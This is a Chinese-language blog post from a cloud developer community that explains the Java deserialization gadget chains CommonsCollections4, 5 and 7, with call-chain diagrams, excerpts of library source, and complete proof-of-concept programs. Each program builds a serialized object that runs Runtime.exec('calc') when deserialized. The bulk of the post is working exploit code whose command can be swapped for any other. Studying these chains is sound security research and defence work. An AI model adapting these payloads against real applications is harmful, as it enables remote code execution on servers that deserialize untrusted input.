前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全之其他CC链

Java安全之其他CC链

作者头像
ph0ebus
发布2023-05-16 11:08:05
4000
发布2023-05-16 11:08:05
举报

前言

后面几条cc链和前面讲的有很多共通点,这里浅浅一起分析一手

CommonsCollections4

首先pom.xml导入依赖

代码语言:javascript
复制
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

cc3引入了InstantiateTransformer类替换了InvokerTransformer对cc1链进行变形绕过过滤。同理,cc2也能做同样的变形形成一条新的利用链,这就是cc4链。cc4相对于cc2来说并没有将TemplatesImpl类的实例直接放入队列

反序列化调用链如下:

代码语言:javascript
复制
PriorityQueue.readObject()
     PriorityQueue.heapify()
        PriorityQueue.siftDown()
              PriorityQueue.siftDownUsingConparator()
           ChainedTransformer.transform()
              InstantiateTransformer.transform()
                             (TrAXFilter)Constructor.newInstance()
                    templatesImpl.newTranformer() 
                        Method.invoke()          
                                            Runtime.exec()

第二次transform()的时候即调用该类的newInstance()实例化,而实例化的参数因为也是可控的,因此在参数位置放入TemplateImpl类的实例

POC链为

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CommonsCollections_4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        // 创建CommonsCollections4对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections4");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置CommonsCollections4类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();
        // 通过反射注入bytes的值
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl, new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        // 通过反射设置_name的值不为null
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl, "ph0ebus");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})  // 将TemplatesImpl实例放进参数值位置,与cc3原理一样,便于在构造函数中触发newTransformer
        };
        // 封装chained转换链
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        // 封装外层的队列
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue, transCom);
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CommonsCollections5

首先pom.xml导入依赖

代码语言:javascript
复制
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc6链类似cc5这条链的外部入口变了,但里面没变,依然是和cc1链一样进到LazyMap.get()然后调用Transformer数组进行RCE

反序列化调用链如下:

代码语言:javascript
复制
BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                  InvokerTransformer.transform()
                        Runtime.exec()

TiedMapEntry#getValue()方法调用了get(),而且map在TiedMapEntry类构造函数中可控

代码语言:javascript
复制
public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}
public Object getValue() {
    return this.map.get(this.key);
}

TiedMapEntry#toString方法调用了getValue()方法

代码语言:javascript
复制
public String toString() {
    return this.getKey() + "=" + this.getValue();
}

那么就要找哪里调用了toString方法可以和readObject()连起来,可以发现BadAttributeValueExpException类的readObject()方法

代码语言:javascript
复制
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();  // <--此处调用
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

这里想办法让valObjTiedMapEntry类的对象,valObj的来源是

代码语言:javascript
复制
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

这里先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。这里可以用反射机制修改val的为TiedMapEntry类的对象

PoC链

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections_5 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chian = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map innerMap = LazyMap.decorate(map, chian);
        // 构造外部的触发链触发varobj.tostring到达lazymap.get
        TiedMapEntry entry = new TiedMapEntry(innerMap, "ph0ebus");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valField = val.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(val, entry); // 将TiedMapEntry实例放进val属性,从而在反序列化还原后最终调用this.map.get
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CommonsCollections7

首先pom.xml导入依赖

代码语言:javascript
复制
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

和cc5一样,cc7也是外部入口变了,都是换种姿势调用到LazyMap.get()方法实现一系列调用

反序列化调用链为:

代码语言:javascript
复制
Hashtable.readObject
   Hashtable.reconstitutionPut
        AbstractMapDecorator.equals
            AbstractMap.equals
                LazyMap.get
                   ChainedTransformer.transform
                       InvokerTransformer.transform
                            Runtime.exec

这条链子入口是Hashtable类的readObject()方法

代码语言:javascript
复制
private void readObject(ObjectInputStream s)
         throws IOException, ClassNotFoundException
{

    ObjectInputStream.GetField fields = s.readFields();

    // Read and validate loadFactor (ignore threshold - it will be re-computed)
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
        throw new StreamCorruptedException("Illegal load factor: " + lf);
    lf = Math.min(Math.max(0.25f, lf), 4.0f);

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Validate # of elements
    if (elements < 0)
        throw new StreamCorruptedException("Illegal # of Elements: " + elements);

    // Clamp original length to be more than elements / loadFactor
    // (this is the invariant enforced with auto-growth)
    origlength = Math.max(origlength, (int)(elements / lf) + 1);

    // Compute new length with a bit of room 5% + 3 to grow but
    // no larger than the clamped original length.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)((elements + elements / 20) / lf) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    length = Math.min(length, origlength);

    if (length < 0) { // overflow
        length = origlength;
    }

    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
    Hashtable.UnsafeHolder.putLoadFactor(this, lf);
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // sync is eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

Entry是一个数据结构的类,这个类里存放了key和value。table是一个Entry数组,而且为空。这里会调用reconstitutionPut()方法

代码语言:javascript
复制
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

第一次调用reconstitutionPut(),将key和value存入上面说的table中。然后若循环条件满足继续调用reconstitutionPut()

在if语句里调用了e.key.equals(key),也就是要构造两个Hashtable类的对象并让map1和map2是LazyMap类型,从而调用LazyMap.equals()方法,但LazyMap类里没有这个equals()方法,寻找父类AbstractMapDecorator实现的equals方法

代码语言:javascript
复制
public boolean equals(Object object) {
    return object == this ? true : this.map.equals(object);
}

它去调用map属性的equals方法,这里的map其实是我们创建LazyMap时传入的HashMap

HashMap也没有equals方法,寻找父类AbstractMap实现的equals方法

代码语言:javascript
复制
public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

这里的迭代器i其实是map1的entrySet()的迭代器,while循环里是拿到map1里的key和value;然后是m,这里的m其实是传递过来的map2,value不为空,所以他会走else,然后先调用m.get(key),实际就是LazyMap.get()

PoC链

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections_7 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        // 构造两个hash值相同的Lazymap
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
        lazyMap1.put("zZ", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
        lazyMap2.put("yy", 1);
        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);
        // 移除生成exp过程中因两个Lazymap的hash相同而放入lazymap2的键
        lazyMap2.remove("zZ");
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashTable);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-04-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CommonsCollections4
  • CommonsCollections5
  • CommonsCollections7
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档